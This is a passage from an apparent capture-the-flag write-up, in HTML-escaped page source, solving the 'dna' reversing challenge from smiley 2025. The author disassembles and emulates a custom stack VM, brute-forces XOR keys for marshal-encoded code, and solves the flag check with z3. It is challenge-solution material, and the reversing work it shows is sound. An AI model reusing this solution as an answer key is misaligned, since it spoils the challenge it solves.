style=\"color:#ae81ff\"\u003e14\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                    \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                    \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Invalid\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e],\u003c/span\u003e \u003cspan style=\"color:#111\"\u003enm\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                    \u003cspan style=\"color:#00a8c8\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ewe can see that it\u0026rsquo;s a simple stack based vm, the flag is loaded at 0x280, next thing i did was to make a disasembler for the vm, you can check it in \u003ca href=\"/scripts/smiley2025-dna-disassemble.py\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eit gave me the following diassembly (truncated):\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e0x0 PUSH [0x280]\n0xc PUSH 0x6a\n0x18 MULT\n0x1a PUSH [0x281]\n0x26 PUSH 0x1b\n0x32 MULT\n...\n0x4e0 PUSH [0x2b0]\n0x4ec PUSH 0xa1\n0x4f8 MULT\n0x4fa ADD\n0x4fc ADD\n...\n0x558 ADD\n0x55a [0x1000] = POP\n0x566 PUSH [0x280]\n0x572 PUSH 0x38\n0x57e MULT\n...\n0x3b62 PUSH [0x29a]\n0x3b6e CALL MARSHAL\n0x3b70 CALL MARSHAL\n0x3b72 HALT\n0x3b74 MOD\n0x3b76 CALL MARSHAL\n0x3b78 HALT\n0x3b7a HALT\n0x3b7c HALT\n0x3b7e JMP 0x1fffe IF POP != 1\n0x3b8a CALL MARSHAL\n0x3b8c PUTC(POP)\n0x3b8e MOD\n0x3b90 CALL MARSHAL\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ethe first thing i noticed is that it is taking chars of the flag and multiplying them with constants then adds them, this is a dot product (which made me pretty convinced it a linear system, i didn\u0026rsquo;t use this in my first solve tho), after that it is invoking instruction 14, which calls marshal code using a key, in this case the key is a flag char, i didn\u0026rsquo;t reverse the python bytecode when solving the chall, afrer that it does some stuff, at this point i got tired of reading the disassembly and decided to make my own emulator so i can debug it, you can find it \u003ca href=\"/static/scripts/smiley2025-dna-vm.py\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eafter running the vm with an example flag i got this\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ py vm.py ./dna/vm.dna \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u0026gt; .\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e,\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e.\u003cspan style=\"color:#f92672\"\u003e{\u003c/span\u003eAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u003cspan style=\"color:#f92672\"\u003e}\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMARSHAL:  \u003cspan style=\"color:#ae81ff\"\u003e65\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTraceback \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003emost recent call last\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  File \u003cspan style=\"color:#d88200\"\u003e\u0026#34;/home/player/ctfs/smiley/dna/vm.py\u0026#34;\u003c/span\u003e, line 117, in \u0026lt;module\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    f.__code__ \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e marshal.loads\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ebytes\u003cspan style=\"color:#f92672\"\u003e([\u003c/span\u003eb ^ key \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e b in unlucky.pop\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0\u003cspan style=\"color:#f92672\"\u003e)]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eValueError: bad marshal data \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eunknown \u003cspan style=\"color:#111\"\u003etype\u003c/span\u003e code\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethis is because the key (which is a character from the flag) is wrong, after bruteforcing the keys until i got no error i was left with\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e.;,;.{AAAAAAAAAAAAAAAAAAAAAAiAAAouAAAAAaAAAAAAAAAAAAAAA}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003enow running the vm again we get:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eMARSHAL:  111\nMARSHAL:  117\nMARSHAL:  105\nMARSHAL:  97\nCMPEQ 0xa8f2c 0x6b0ce\nCMPEQ 0x952d6 0x60833\nCMPEQ 0xa0cf4 0x67b2e\nCMPEQ 0x87e87 0x576cb\nCMPEQ 0x8fbb8 0x5d2be\nCMPEQ 0x996f6 0x62e12\nCMPEQ 0xa0eba 0x65f0d\nCMPEQ 0x981a4 0x61bd6\nCMPEQ 0x90214 0x5ec71\nCMPEQ 0xa3c6f 0x67bc8\nCMPEQ 0xb36f0 0x7396d\nCMPEQ 0xa9750 0x6e79d\nCMPEQ 0xa4697 0x6d0f2\nCMPEQ 0xa52a5 0x682f8\nCMPEQ 0x9bd69 0x65dc8\nCMPEQ 0xb24c1 0x71555\nCMPEQ 0x9f053 0x64bbf\nCMPEQ 0x95a53 0x646a9\nCMPEQ 0x95e95 0x5fc1a\nCMPEQ 0xb0750 0x6f3f5\nCMPEQ 0xa1ad8 0x64911\nCMPEQ 0x949d0 0x5f763\nCMPEQ 0x922ab 0x5e00f\nCMPEQ 0x990f4 0x6058c\nCMPEQ 0xa0e4a 0x674f6\nCMPEQ 0x8749a 0x57963\nCMPEQ 0x9931c 0x613df\nCMPEQ 0x97981 0x5f156\nCMPEQ 0xa01c2 0x67f51\nCMPEQ 0x92057 0x5c18d\nCMPEQ 0xa24ad 0x67e15\nCMPEQ 0xbcae1 0x7a2d5\nCMPEQ 0xad88c 0x711d2\nCMPEQ 0xa3833 0x6742d\nCMPEQ 0x8cce6 0x5ba3b\nCMPEQ 0xaecb6 0x6e958\nCMPEQ 0xa6859 0x6bab8\nCMPEQ 0xa7cac 0x6cd1e\nCMPEQ 0xc4c8d 0x7ecc5\nCMPEQ 0xa1427 0x66c4d\nCMPEQ 0xb1df7 0x72a1f\nCMPEQ 0xa8600 0x6bd4d\nCMPEQ 0xb652c 0x7820c\nCMPEQ 0x91f28 0x5f805\nCMPEQ 0x99b79 0x61bf0\nCMPEQ 0x8edb6 0x5d3e6\nCMPEQ 0xa5c30 0x68bde\nCMPEQ 0xa26ea 0x68231\nCMPEQ 0xad889 0x70f95\nCMPEQ 0x31 0x0\nJMP 0x10ebc IF POP != 1\nPUTC(POP)\nWPUTC(POP)\nRPUTC(POP)\nOPUTC(POP)\nNPUTC(POP)\nGPUTC(POP)\n!PUTC(POP)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eit printed wrong, it did 49 comparisions (here i was sure that it is comparing the resulting vectors from the matrix multiplication of the linear system), it prints \u0026ldquo;WRONG!\u0026rdquo; if at least one fails.\u003c/p\u003e\n\u003ch2 id=\"the-first-solution-unintended\"\u003eThe First solution (unintended)\u003c/h2\u003e\n\u003cp\u003eafter looking at the comparisions i decided to use z3, by supplying a symbolic flag then adding constraints when the comparisions happen the script is \u003ca href=\"/scripts/smiley2025-dna-solve1.py\"\u003ehere\u003c/a\u003e\nthe script defines the flag as a list of symbolic 8 bitvecs (leaving the keys for the marshal code) using\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;.;,;.\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e{AAAAAAAAAAAAAAAAAAAAAAiAAAouAAAAAaAAAAAAAAAAAAAAA}\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elist\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eord\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;A\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eBitVec\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;bv_\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e{\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eand the cmp instruction is now like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eelif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epri\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# this check is for the last comparision, in here i run the z3 check\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#111\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e49\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esol\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003echeck\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esat\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003emodel\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esol\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003emodel\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;.;,;,{\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e49\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#00a8c8\"\u003etry\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003echr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003emodel\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eas_long\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()),\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#00a8c8\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#75af00\"\u003eKeyError\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#75af00\"\u003eIndexError\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003echr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;}\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;unsat\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eexit\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan 